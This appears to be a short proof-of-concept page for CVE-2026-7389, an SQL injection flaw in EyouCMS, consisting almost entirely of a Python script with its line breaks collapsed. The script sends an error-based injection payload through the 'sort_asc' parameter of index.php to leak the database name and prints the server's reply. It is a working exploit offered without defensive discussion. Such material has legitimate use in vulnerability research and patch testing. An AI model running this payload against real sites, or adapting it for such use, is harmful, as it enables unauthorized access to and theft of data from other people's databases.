CVE-2026-7389 EyouCMS SQL注入漏洞

import requests def exploit(url): # Target endpoint example target = f"{url}/index.php" # Payload for SQL Injection based on 'sort_asc' parameter # This payload attempts to extract the database name using error-based injection payload = "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" params = { "sort_asc": payload } try: response = requests.get(target, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response content for database errors or leaked data.") print(response.text[:500]) # Print first 500 chars for demo else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target_url = "http://127.0.0.1" exploit(target_url)